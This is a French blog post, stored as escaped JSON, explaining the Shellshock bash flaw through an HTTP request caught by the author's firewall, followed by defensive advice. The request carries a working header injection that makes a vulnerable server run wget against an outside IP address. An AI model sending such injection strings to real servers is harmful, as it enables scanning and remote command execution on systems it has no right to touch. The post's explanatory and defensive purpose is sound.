Vous vous rappelez Shellshock ? Cette faille jug\u00e9e critique d\u00e9couverte en septembre peut permettre d’ex\u00e9cuter n’importe quelle instruction bash \u00e0 partir du moment o\u00f9 on a acc\u00e8s \u00e0 une variable Bash.
\nDis comme \u00e7a, cela semble compliqu\u00e9 \u00e0 exploiter, et surtout cela n\u00e9c\u00e9ssite un acc\u00e8s local au serveur. Alors pourquoi est-elle classifi\u00e9e en \u00ab\u00a0remote execution possible\u00a0\u00bb ?<\/p>\n
Ci-dessous un exemple vu en production (filtr\u00e9 bien heureusement !), mais qui montre comment exploiter … et comment se prot\u00e9ger<\/p>\n
<\/p>\n
Intercept\u00e9e il y a quelques jours par un \u00e9l\u00e9ment de notre firewall, l’attaque est en fait toute simple si on y prette pas attention. Elle consiste simplement en la r\u00e9ception de cette requ\u00eate web :<\/p>\n
GET \/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nCookie: () { :;}; echo; \/usr\/bin\/env wget http:\/\/185.31.161.36\/robots.txt?http:\/\/website.com\/ -O \/dev\/null;\r\nHost: website.com\r\nReferer: () { :;}; echo; \/usr\/bin\/env wget http:\/\/185.31.161.36\/robots.txt?http:\/\/website.com\/ -O \/dev\/null;\r\nUser-Agent: () { :;}; echo; \/usr\/bin\/env wget http:\/\/185.31.161.36\/robots.txt?http:\/\/website.com\/ -O \/dev\/null;<\/pre>\nLa faille se trouve dans les ent\u00eates Cookie, Referer et User-Agent. Si la faille est exploit\u00e9e, un fichier anodin est t\u00e9l\u00e9charg\u00e9 sur un serveur distant. Observez l’ajout de ‘?http:\/\/website.com’ qui contenait \u00e0 l’origine le nom du site cibl\u00e9 (chang\u00e9 pour des raisons de confidentialit\u00e9). Ainsi, sur le serveur du pirate (derri\u00e8re l’IP 185.31.161.36), il suffit de regarder les logs et d’en extraire la liste des sites vuln\u00e9rables.<\/p>\n
On est donc ici en pr\u00e9sence d’un simple scan qui n’effectue aucune action malveillante (le fichier est enregistr\u00e9 dans \/dev\/null, soit \u00ab\u00a0nulle part\u00a0\u00bb). Toutefois, le pirate sait que le site est faillible et va pouvoir revenir exploiter tout \u00e7a ult\u00e9rieurement.<\/p>\n
Mais comment passe-t-on d’un simple ent\u00eate HTTP \u00e0 une instruction Bash ? Cela ne touche que certaines configurations bien particuli\u00e8res de certains serveurs web, dans lesquelles chaque ent\u00eate est transform\u00e9 en variable bash et pass\u00e9 \u00e0 un programme tiers. Ainsi, ‘User-Agent’ va devenir la variable HTTP_USER_AGENT.<\/p>\n
Comment s’en prot\u00e9ger ?
\nUne seule m\u00e9thode fiable : mettre \u00e0 jour Bash. Si c’est difficile, vous pouvez filtrer via votre firewall toute requ\u00eate contenant un ent\u00eate commen\u00e7ant par \u00ab\u00a0() {\u00ab\u00a0.<\/p>\n","protected":false},"excerpt":{"rendered":"
Vous vous rappelez Shellshock ? Cette faille jug\u00e9e critique d\u00e9couverte en septembre peut permettre d’ex\u00e9cuter n’importe quelle instruction bash \u00e0 partir du moment o\u00f9 on a acc\u00e8s \u00e0 une variable Bash. Dis comme \u00e7a, cela semble compliqu\u00e9 \u00e0 exploiter, et surtout cela n\u00e9c\u00e9ssite un acc\u00e8s local au serveur. Alors pourquoi est-elle classifi\u00e9e en \u00ab\u00a0remote execution … Continuer la lecture de Exploitation pratique de Shellshock<\/span>